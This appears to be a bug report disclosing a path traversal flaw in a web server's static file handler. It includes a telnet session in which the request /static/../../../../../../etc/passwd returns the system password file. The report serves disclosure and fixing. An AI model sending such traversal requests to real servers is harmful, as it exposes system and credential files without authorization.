security bug: static file serving arbitrary file/source

Hi,
when a server comes up with a static serving directory. from client side it is able to access arbitrary file using relative path.

for example: my server is serving ```/static``` for static files, i can get ```/etc/passwd``` by requesting ```/static/../../../../../../etc/passwd ```
```
$ telnet localhost 9123
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /static/../../../../../../etc/passwd HTTP/1.0

HTTP/1.0 200 OK
Accept-Ranges: bytes
Content-Length: 1234
Content-Type: text/plain; charset=utf-8
Last-Modified: Sat, 01 Aug 2012 05:13:28 GMT
X-Custom-Header: Goweb
Connection: close
Date: Wed, 05 Jun 2013 04:30:46 GMT

root:x:0:0:root:/root:/bin/bash
........
```